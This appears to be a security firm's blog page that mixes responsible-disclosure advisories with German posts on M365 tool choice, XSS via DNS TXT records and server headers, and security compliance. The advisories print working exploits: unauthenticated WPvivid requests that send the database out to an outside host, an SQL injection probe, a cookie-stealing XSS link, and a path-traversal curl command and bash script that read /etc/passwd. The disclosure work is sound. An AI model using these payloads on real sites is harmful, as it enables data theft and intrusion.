The vulnerabilities were identified in version 0.9.68 and probably exist in older versions as well. Upgrade the plugin WPvivid Backup and Migration (Free Edition) to the version 0.9.69 or higher as soon as possible to fix the vulnerabilities.

Background Information

WPvivid Backup and Migration is a WordPress plugin by WPvivid Team and offers backup, migration, and staging as basic features. This plugin has more than 200,000 active installations.

The vulnerabilities

Functions of the WPvivid Backup and Migration plugin in version 0.9.68 can be called remotely without authentication, which allows attackers to exfiltrate the entire WordPress database, for example, or to fill the hard disk of the corresponding system by multiple local copies of the WordPress pages disturbing their availability (CVE-2024-1982).

Furthermore, SQL queries can be manipulated (SQL injection), which means that further database contents can probably be read or manipulated without authentication (CVE-2024-1981).

The plugin is also vulnerable to stored cross-site scripting attacks . For this, a WordPress administrator must execute a manipulated link, for example. This vulnerability was simultaneously published by another researcher and is already tracked under CVE-2021-24994.

Unauthenticated Access to WPvivid Functions (CVE-2024-1982)

The following plugin functions can be called unauthenticated e. g. over the Internet:

  • wp_ajax_nopriv_wpvivid_restore
  • wp_ajax_nopriv_wpvivid_get_restore_progress
  • wp_ajax_nopriv_wpvividstg_start_staging_free
  • wp_ajax_nopriv_wpvividstg_get_staging_progress_free

The function wp_ajax_nopriv_wpvividstg_start_staging_free can be used to trigger the creation of a staging web page. Selected or all files of the WordPress installation are copied into a definable subdirectory. This functionality can be started without prior authentication like this:

POST /wp-admin/admin-ajax.php?action=wpvividstg_start_staging_free HTTP/1.1
Host: myblog.hisocorp.com
[…]
Content-Type: application/x-www-form-urlencoded

path=custom_name_staging_page&table_prefix=something&custom_dir=something&additional_db={"test":"test"}&root_dir=0

Afterwards, the server response {"result":"success","task_id":"wpvivid-61ba042730a63"} indicates that the action was successful.

By continuously running this function to create staging versions of the web application an attacker can exhaust the systems disk space. Normal operation of the system and especially of the web application can thus no longer be provided.

By specifying a remote system in the parameters of the function wp_ajax_nopriv_wpvividstg_start_staging_free, the contents of the WordPress installation can be exfiltrated. This can be done as in the following example request:

POST /wp-admin/admin-ajax.php?action=wpvividstg_start_staging_free HTTP/1.1
Host: example.org
[…]
Content-Type: application/x-www-form-urlencoded
 
path=name_existing_staging_page&create_new_wp=1&additional_db={"additional_database_check":"1","additional_database_info":{"db_host":"192.168.0.5","db_name":"something","db_user":"username","db_pass":"password"}}&custom_dir={"database_check":1}&table_prefix=something

Afterwards, the status must be queried once via the function wpvividstg_get_staging_progress_free:

POST /wordpress/wp-admin/admin-ajax.php?action=wpvividstg_get_staging_progress_free HTTP/1.1
Host: myblog.hisocorp.com
Content-Type: application/x-www-form-urlencoded

Thus, an attacker can retrieve sensitive data from WordPress databases.

Update: The vendor fix in version 0.9.69 simply disables the wpvividstg_start_staging_free action, see code changes to includes/staging/class-wpvivid-staging.php here.

SQL Injection in WPvivid Function (CVE-2024-1981)

The parameter table_prefix in the function wpvividstg_start_staging_progress_free appears to be vulnerable to an SQL injection. However, no more in-depth exploitability was performed as part of the research.

The following HTTP request was sent to the plugin function with the parameter value test':

POST /wordpress/wp-admin/admin-ajax.php?action=wpvividstg_start_staging_free HTTP/1.1
Host: myblog.hisocorp.com
[…]
Content-Type: application/x-www-form-urlencoded

 
path=something&additional_db={"test":"test"}&custom_dir={"database_check":1}&table_prefix=test'

Subsequently, the status must be queried once via the function wpvividstg_get_staging_progress_free:

POST /wordpress/wp-admin/admin-ajax.php?action=wpvividstg_get_staging_progress_free HTTP/1.1
Host: myblog.hisocorp.com
Content-Type: application/x-www-form-urlencoded

It may happen that the status has to be queried several times until the following response containing the SQL exception is returned:

{"continue":0,"error":1,"error_msg":"Failed to create a table. Error:You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near '` (\n  `meta_id` bigint(20) unsigned NOT NULL AUTO_INCREMENT,\n  `comment_id` b...' at line 1, query:CREATE TABLE `test'commentmeta` (\n  `meta_id` bigint(20) unsigned NOT NULL AUTO_INCREMENT,\n  `comment_id` bigint(20) unsigned NOT NULL DEFAULT 0,\n  `meta_key` varchar(255) DEFAULT NULL,\n  `meta_value` longtext DEFAULT NULL,\n  PRIMARY KEY (`meta_id`),\n  KEY `comment_id` (`comment_id`),\n  KEY `meta_key` (`meta_key`(191))\n) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4","log":"open log file failed","percent":50,"result":"success"}

Update: Here, the vendor fix in version 0.9.69 is the same as for the previous vulnerability. The wpvividstg_get_staging_progress_free action was simply disabled by commenting it out in includes/staging/class-wpvivid-staging.php, see here.

Stored Cross Site Scripting (XSS) in WPvivid

Update: This vulnerability was also independently discovered and reported by another researcher and was assigned CVE-2021-24994 (published during the responsible disclosure process, see here).

The plugin offers remote storage on a Google Drive. For this, an account (called Google Drive Remote Storage Account) for the corresponding authentication must be provided. The name of the specified account is included partially unfiltered in an onclick JavaScript area within the plugin. This means that arbitrary HTML and JavaScript code can be injected. This behavior allows stored XSS attacks via the plugin web interface.

When a logged in WordPress administrator executes the following link, an account with the specified name is automatically stored in the plugin:

http://myblog.hisocorp.com/wp-admin/admin.php?page=WPvivid&action=wpvivid_google_drive_finish_auth&name=test2%22%20onload%3dalert(document.cookie)%3E&default=lll%27%22lll&auth_id

The payload passed in this example adds the JavaScript attribute onload, which is used to display the session cookies in an alert box:

Responsible Disclosure Timeline

  • 15.12.2021 – HiSolutions identified the vulnerabilities
  • 14.01.2022 – HiSolutions contaced WPvivid Team via contact form
  • 20.01.2022 – WPvivid Team responds and HiSolutions sends the details regarding the vulnerabilities
  • 14.02.2022 – WPvivid Team provides the new version 0.9.69 in which the vulnerabilities should be fixed
  • 01.03.2022 – HiSolutions tests the new version. The vulnerabilities were fixed.
  • 29.02.2024 – The Wordfence CNA issues CVE-2024-1981 and CVE-2024-1982.

Credits

The vulnerabilities were found by Denis Werner (HiSolutions AG). The fixes were reviewed by David Mathiszik (HiSolutions AG).

Allgemein

M365 – nicht der richtige Deckel für jeden Topf  

Microsoft M365 ist Marktführer im Kollaborativen Arbeiten am digitalen Arbeitsplatz, so sehen das viele Industrien und Dienstleistungsbereiche. Dieser mere-exposure-effect kann verursachen, dass das Programmpaket M365 nur durch eine öfter Wahrnehmung als Allround Lösung gesehen wird. Doch in welchen Branchen setzt M365 nicht richtig an?  

Die Marktführerpräsenz von Microsoft verleitet viele Unternehmen dazu, in der notwendigen digitalen Transformation des Arbeitsplatzes auf das international vorherrschende M365 zurückzugreifen. Diese „offensichtliche Wahl“ deckt tatsächlich viele Kollaborations- und Arbeitsbereiche durch Anwendungen wie Outlook, Planner und Excel ab. HiSolutions als herstellerunabhängiges Beratungshaus zeigt auf, in welchen Fällen Anforderungen durch andere Tools gedeckt werden müssen. Für welche Anwender sind spezifischere Funktionen nötig? Es ist klar: Es muss es nicht immer M365 sein.  

Ein Blick auf Workspace Tools  

M365, welches die klassischen Office-Produkte sowie Teams und weitere Anwendungen enthält, bietet in vielen Organisationen für die typischsten Anforderungen im Unternehmen eine Lösung. Dazu kommen noch Automatisierungslösungen sowie seit neuestem die integrierte Microsoft KI: Copilot.  Microsoft Chat, eine weitere Funktion, welche das komplette interne Datenuniversum im Unternehmen nutzt, sowie das Internet durchforstet. Mit geeigneten technischen und organisatorischen Maßnahmen bietet M365 für viele Firmen und Industrieunternehmen einen sicheren und kompatiblen Transformationsweg. 

Ein Blick auf Insellösungen

Nach HiSolutions, lohnt sich ein Blick auf andere Tools, wenn spezifische Anforderungen abgedeckt werden müssen. Ein Beispiel hierfür sind Unternehmen, die besonderen Herausforderungen in der Aufgabenverwaltung begegnen. Diese Unternehmen brauchen spezialisierte Lösungen. Der simpel aufgebaute Microsoft Planner kann in vielen Kontexten problemlos eingesetzt werden, schwierig wird es jedoch beispielsweise im Bereich Marketing & Kampagnenplanung. Planner ist nicht anpassungsfähig genug, dazu fehlen Features wie z. B.  Personaleinsätze und Budgetverteilungen. Ebenso beschränkt ist er in der Aufgabenverwaltung im Softwareentwicklungskontext, in kreativen Workshops und der Kommunikation zwischen Gruppen. Die Softwarelösung muss leicht verständliches sein und ein attraktives Design besitzen – dazu muss es Zusammenhänge auf den ersten Blick klarmachen. Durch dieses Beispiel ist klar, dass nicht in allen Fällen die M365 Apps ausreichen.

Der ehrenvolle Weg

Die Erfahrung von HiSolutions zeigt auf, das Unternehmen, welche keine klassische Betriebsstruktur haben, bei der Implementierung von M365 auf weitere Herausforderungen treffen: beispielsweise Ehrenamtsgruppen und Stiftungen, die vom hierarchischen Modell abweichen, können oft mit dem großen Aufwand der IT-Administration nicht umgehen. Ehrenamtliche Gruppen besitzen häufig nicht die Finanzquelle oder Technikaffinität die nötig ist, um alle Funktionen angemessen zu implementieren. Wenn der Allrounder M365 nicht vollständig eingesetzt wird, ergibt sich dieser als äußerst kostspielig. 

Ein weiterer Grund nicht auf den Allrounder M365 zu setzen ist, wenn Ihre Anwender spezifische Anforderungen haben. Alternative Anwendungsprogramme müssen erst einmal identifiziert werden, das kann aufwändig sein. Es kostet Unternehmen Zeit selbst herauszufinden, welche Programme Ihre Anforderungen gerecht werden. Jedes Unternehmen hat andere Ansprüche, die erfüllt werden müssen. Kollaborationstools, die sich auf einen spezifischen Bereich fokussieren und in diesem weit über die grundlegenden Basisfeatures von M365 hinausgehen sind somit die Lösung. Diese spezifischen Anwendungsprogramme werden Insellösungen genannt. Vor allem für bestimmte Organisationsformen wie z. B. Agenturen, Vereine, Schulen und Stiftungen bieten sich diese an. 

Durch die Ausarbeitung der nötigen Anforderungen und den entsprechenden Einsatz passender Insellösung wird Effizienz bewahrt. Unter anderem kommt es zu einem langfristig kleineren IT-Aufwand.  Nutzern wird ein erleichterter Einstieg in den digitalen Arbeitsplatz präsentiert. Da das Unternehmen für die konkreten Aufgaben der Nutzer passgenaue Anwendungsprogramme bereitstellt. Somit wird Zeit in der Einarbeitung gespart und die Nutzer müssen sich nicht durch Unmengen an Programmen, innerhalb eines Programmpacktes wie M365, durchforsten. 

Für ehrenamtliche Gruppen bieten sich flexible Alternativen besonders an. Hier kommt es vor allem auf einen nutzerfreundlichen Workspace an der die Brücke zwischen Technikaffinität und Bedienungsfreundlichkeit bildet. Die Kosten und Nutzen müssen hierbei genaustens ausgelegt werden: Wie viel kostet die IT-Verwaltung und die Lizenzen? Braucht es Server, oder ist alles Cloudbasiert? Wie viel Produktivität können die neuen Anwendungsprogramme garantieren?

Digitale Souveränität für Organisationen 

Viele Organisationen schrecken aufgrund von Bedenken bezüglich der digitalen Souveränität und Abhängigkeit von proprietären Anbietern ab. In diesem Fall sind offene Anwendungen, die eine flexible Datenmigration auf andere Anwendungen ermöglichen, ein Mittel der digitalen Souveränität. Open-Source-Lösungen können ein Baustein der digitalen Souveränität sein, sofern die Organisationen die Ressourcen haben, den Sourcecode weiterzuentwickeln. Das Prinzip your data, your terms bietet Organisationen Sicherheit in der neuen Arbeitsform des Digital Workplace. Für Behörden spielt digitale Souveränität eine besonders große Rolle. Nicht nur wegen des Umganges mit sensiblen Daten, sondern auch durch die Forderungen der Politik nach dem selbst bestimmten Einsatz von IT.    

Den richtigen Deckel finden    

Ob nun der Allrounder M365 oder die agile Insellösung als Transformationsweg – Es darf keine vorschnelle Entscheidung getroffen werden. Datenschutzfolgeabschätzung und IT-Sicherheitskonzepte müssen in allen Fällen erstellt werden. 

Denn digitale Transformation schreitet in Behörden, Unternehmen, im Bildungsberiech und bei Endnutzern in Deutschland voran. Die Bedenken vor so einem großen Wandel im Arbeitsbereich sind begreifbar.  Der Arbeitsaufwand kann groß sein, die Effektivität nicht sofort gegeben. Eine richtige Insellösung und Umsetzung in der Digitalisierung Ihres Arbeitsplatzes bietet neue Arbeitsweisen, komfortablere Arbeitsverhältnisse und neue Möglichkeiten. All seine Hoffnungen in M365 als Lösung zu stecken ist also leichtsinnig. 

Advisories, Allgemein, Penetrationstest, Themen

XSS auf Abwegen

Cross-Site-Scripting (XSS) ist ansich eine altbekannte Schwachstelle, die in den meisten gängigen Frameworks mittels Eingabevalidierung standardmäßig mitigiert wird. Auch viele Individualanwendungen im Netz behandeln Eingabefelder, die von Dritten ausgefüllt werden, inzwischen sehr vorsichtig.

Zweckentfremdete DNS-Records

Dass derartige Angriffsvektoren oft auch von unerwarteter Seite kommen, zeigte sich, als ich nach der Lektüre des sehr lesenswerten Artikels The Joy of TXT von Peter Lowe ein wenig mit meinen DNS-Einträgen herumspielte – und prompt auf verschiedenen Seiten, die TXT-DNS-Records auslesen und anzeigen, mit meinen eigenen Popups begrüßt wurde.

TXT-Records werden oft für Validierungszwecke eingesetzt, die über die Standard-DNS-Records nicht abgedeckt werden können. Hierzu zählen meist SPF-, DMARC- und DKIM-Einträge sowie verschiedene Validierungen von Drittanbieter-Services. Unter anderem kann ein derartiger Eintrag zum Beispiel von LetsEncrypt genutzt werden, um die Domain zu verifizieren.
Doch die Möglichkeiten sind praktisch unbegrenzt. TXT-Records können, wie im Artikel beschrieben, sogar relativ große Mengen an Text bereitstellen. Und damit natürlich auch Javascript-Snippets, die auf abfragenden Webseiten mit XSS-Schwachstellen dafür sorgen können, dass Code im Webbrowser angezeigt wird.

Die bekanntesten Anbieter für DNS-Validierungsdienste und artverwandte Services entschärfen derartige Einträge standardmäßig. Auf der Webseite wird der bereinigte Inhalt der TXT-Records angezeigt, das Script kommt nicht zur Ausführung. Doch Ausnahmen bestätigen die Regel: Einige Anbieter scheinen davon auszugehen, dass von dieser Seite keine Gefahr droht und binden die Inhalte ungefiltert im Browser ein – unerwünschten Code inbegriffen.

Unübliche Server-Header

Bei meiner Recherche stieß ich auf eine weitere oft unvalidierte Quelle von fremdem Input: Server-Header. Auch hier wird bei den meisten Anbietern viel vorgefiltert, doch eben nicht bei allen. Und während das Einfügen von Javascript-Code in den meisten Standard-Headern vermutlich zu sehr unvorhersehbarem Verhalten führen würde, gibt es mindestens einen Header, der offensichtlich noch harmlos genug erscheint, um ihn ungefiltert wieder auszugeben: Der “Server”-Header.

Wer sich ein wenig mit den üblichen Verdächtigen Apache, Nginx und IIS auseinandergesetzt hat, wird sicherlich bemerkt haben, dass das Ändern des Server-Headers nicht ganz trivial ist, was diese Wahrnehmung möglicherweise bestärkt. Und während böswillige Aktoren zwar das Wissen haben mögen, wie man den Quellcode eines Webservers anpasst und ihn neu kompiliert, scheint das doch ein recht sperriger Weg zu sein. Doch es gibt mindestens für den Apache Möglichkeiten, den Server-Header nahezu komplett umzuschreiben – kurioserweise mittels des Standard-Moduls “security2”, also known as “modsecurity”.

So gelingt es in einigen Fällen relativ einfach, JavaScript auf Seiten, die Server-Header anzeigen, im Browser zur Ausführung zu bringen. Abhilfe schafft auch hier nur serverseitige Filterung – oder ein Scriptblocker auf Clientseite, der oft aber auch die Funktionalität der Webseite beeinträchtigt, da der eingeschleuste Inhalt ebenfalls im Kontext der Webseite ausgeführt wird. Ein Scriptblocker kann das fremde Script nicht von den regulär eingebundenen Scripten unterscheiden.

Eingeschränkt sinnvoll: Der User Agent

Eine eher esoterische Möglichkeit, Scripte im Browser zu injizieren, ist die Manipulation des User Agent des verwendeten Browsers. Dies kann relativ simpel über Add-Ons geschehen, führt aber in vielen Fällen dazu, dass Aufrufe von Webseiten fehlschlagen. Schuld ist hier ein vorgelagerter Security-Proxy oder – Kuriosum Nummer zwei – das bereits erwähnte “security2”-Modul im Apache. Diese Maßnahmen erkennen das Script im User Agent und sperren den aufrufenden Browser direkt aus.

Der Nutzen dieser Variante ist hingegen fraglich: Sie muss auf dem lokalen Client eingestellt werden und betrifft damit auch nur diesen. Für Angriffe auf Fremdsysteme ist sie unbrauchbar. Man benötigt also bereits Zugriff auf das anzugreifende System – ein Henne-Ei-Problem. Zum Testen der serverseitigen Validierung und aktiver Sicherheitsmechanismen taugt die Methode jedoch allemal. Vorausgesetzt, dass der Server den User Agent auf einer seiner Seiten auch anzeigt.

Fazit: Vertraue niemandem!

Gelingt es, jemanden dazu zu bringen, eine verwundbare Seite aufzurufen und die präparierte Domäne in das entsprechende Textfeld einzutragen, ist ein erfolgreicher Angriff durchaus wahrscheinlich. Und einem Hilferuf in einem beliebigen Supportforum, die Validierungsseite zeige beim eigenen Server Fehler an, können viele Techies nicht widerstehen. Manche Webservices erlauben sogar das Angeben der zu überprüfenden Domäne über einen URL-Parameter, das manuelle Eingeben der Domain entfällt durch den Klick auf den Link damit komplett. Dass derartige Seiten Fremdcode einbetten vermutet auch in der technisch versierten Community bei weitem nicht jeder. Und da diejenigen, die sich gerne als Helfer in Support-Foren tummeln, oft auch in der technischen Administration in Unternehmen tätig sind, ist der Sprung zu Supply-Chain-Attacken nicht nur theoretisch denkbar.
Selbstverständlich können auf Seiten des potenziellen Opfers Virenscanner und Scriptblocker aktiv sein und den Angriff abfangen, doch dieses Risiko geht ein Angreifer immer ein.

Es zeigt sich jedenfalls wieder, dass generell bei jedem Input, bei jeder Variable, bei jedem Datenbankeintrag, der nicht vom eigenen System(-verbund) kommt, Vorsicht geboten ist. Eine zusätzliche Absicherung der Systeme, beispielsweise mittels Web Application Firewall, Security-Modulen oder vorgelagerten Prüfsystemen, sollte Standard sein. Zusätzliche Sicherheit bietet beispielsweise eine restriktive Content Security Policy (CSP), die das Ausführen von Inline-Scripten und das Nachladen von fremden Domains im Browser komplett unterbindet.

Beitragsbild: Keine Informationssicherheit, kein Job mehr
Allgemein, ISMS, Risikomanagement

Keine Informationssicherheit, kein Job mehr

Wer lange genug in der IT-Sicherheit unterwegs ist, kennt mehr als eine Situation, in der Hinweise und Vorgaben zur IT-Sicherheit mit einem selbstbewusst geäußerten „Keine Lust“, „Haben wir noch nie so gemacht“ oder „Erklären Sie mir nicht meinen Job“ zur Seite geschoben wurden.

Rechtsanwalt Jens Ferner berichtet von einem Fall, der am Ende gerichtlich ausgefochten wurde. Konkret ging es um eine nicht abgeschlossene Schreibtischschublade, in der sich Kundenakten mit Finanzdaten befanden. Eine Schublade klingt nicht direkt nach IT-Sicherheit, aber die entsprechende Clean-Desk-Regelung war Teil der Vorgaben zur Informationssicherheit. Der Verstoß dagegen wurde vom Landesarbeitsgericht Sachsen als so schwer bewertet, dass er eine Abmahnung bzw. wie im konkreten Fall wegen Wiederholung sogar die Kündigung rechtfertigte.

Umgekehrt kann auch eine zu laxe Handhabung von Informationssicherheit zum Jobverlust führen. In vielen Fällen, in denen wir Kunden bei der Bewältigung von Sicherheitsvorfällen unterstützen, stehen die Existenz des Unternehmens und damit auch Arbeitsplätze auf dem Spiel.

Beide Aspekte unterstreichen, dass ein gelebtes Informationssicherheitsmanagement mehr als nur viele geduldige Seiten Text bedeutet.
https://www.ferner-alsdorf.de/wirksame-kuendigung-bei-verstoss-gegen-richtlinie-zur-informationssicherheit/

Link zur Rechtsprechung: https://dejure.org/dienste/vernetzung/rechtsprechung?Gericht=LAG%20Sachsen&Datum=07.04.2022&Aktenzeichen=9%20Sa%20250%2F21

HiSolutions Research
Advisories, Allgemein, Penetrationstest, Schwachstelle

Arbitrary File Read vulnerability – PHP library nuovo/spreadsheet-reader 0.5.11

Within the scope of a penetration test HiSolutions‘ security consultants discovered an arbitrary file read vulnerability in the spreadsheet-reader library by nuovo. The vulnerability was reported before by another security researcher on 17th Dec 2020 but does not have gotten any attention by the author since. After unsuccessful attempts to contact the author via different channels, HiSolutions decided to release exploit details without further actions. The vulnerability affects the current version 0.5.11 which is the latest version since 2015. It may affects earlier versions as well.

Update: As of April 2023, this vulnerability was assigned CVE-2023-29887.

Background Information

The spreadsheet-reader library by nouvo is a widely used PHP software which is used to read out XLS, XLSX, ODS and variously separated text files. The project is hosted on Github and got a decent number of 660 stars and 494 forks. Furthermore it is listed on Packagist, a known PHP package repository, and was downloaded over 500.000 times. Using dependency managers like composer, the vulnerable library obviously found its way into various PHP websites (see Google dork in section “impact” for more information).

The vulnerability

The software ships with a “test.php” file located in the root-directory if the project. The PHP file can be called with the parameter “File” via HTTP GET. Due to the lack of security checks arbitrary paths can be passed as a value for the File parameter:

curl http://127.0.0.1/vendor/nuovo/spreadsheet-reader/test.php?File=../../../../../../../../../../../etc/passwd

As a result from the request above, the contents of the etc/passwd file get returned as a nested PHP array:

---------------------------------
Starting memory: 670416
---------------------------------
---------------------------------
Spreadsheets:
Array
(
    [0] => passwd
)
---------------------------------
---------------------------------
---------------------------------
*** Sheet passwd ***
---------------------------------
0: Array
(
    [0] => root:x:0:0:root:/root:/bin/bash
)
Memory: 3000 current, 719760 base
---------------------------------
1: Array
(
    [0] => bin:x:1:1:bin:/bin:/sbin/nologin
)
Memory: 3232 current, 719992 base
---------------------------------
2: Array
(
    [0] => daemon:x:2:2:daemon:/sbin:/sbin/nologin
)
Memory: 3224 current, 719984 base
---------------------------------
3: Array
(
    [0] => adm:x:3:4:adm:/var/adm:/sbin/nologin
)

[...]

To display only the actual file content and filter out the “noise” around the output, use the following script:

#!/bin/bash

## usage:
# $ spreadsheet-reader-exploit.sh URL FILEPATH
# $ http://127.0.0.1/vendor/nuovo/spreadsheet-reader ../../../../../../../../../../../etc/passwd

SPREADSHEET_FOLDER_URI=$1
FILEPATH=$2
TMP=/tmp/spreadsheesh.txt

curl -s "${SPREADSHEET_FOLDER_URI}/test.php?File=${FILEPATH}" -o ${TMP}
cat ${TMP} | grep ] | cut -d ">" -f 2- | grep -v '^[[:space:]]*$'

Impact

The vulnerability is trivial to exploit. Attackers are able to read arbitrary files from the servers file system with the privileges of the PHP process.

The following google dork shows that multiple websites are online, using the vulnerable composer package:

inurl:"/nuovo/spreadsheet-reader" (Link)

Remediation

As a quick fix the test.php file should be deleted. This would stop attackers to exploit the vulnerability using the default file.

Nevertheless, the vulnerability is not limited to the default test.php file. The root cause of the problem is that the application itself does not sanitize or normalize the passed path-parameter when reading out files from the file system. Therefore, your software must sanitize the path manually before passing it to the library.

Since the project has not received any updates since 2015, despite many open Github (security) issues, it can be assumed that it is not under active development anymore. Therefore, we recommend to use an alternative library.

Responsible Disclosure Timeline

  • 17.12.2020 – The user “liquidsec” first reported an arbitrary read vulnerability discovered in a penetration test.
  • 30.03.2022 – Independent discovery of the vulnerability by HiSolutions within the scope of a penetration test.
  • since 29.04.2022 – HiSolutions contacted the author through Github, Facebook and LinkedIn.
  • 13.01.2023 – Since the author did not respond to any of the messages, HiSolutions decided to disclose the exploitation details.

Credits

The vulnerability was found by Ronny Dobra (HiSolutions AG).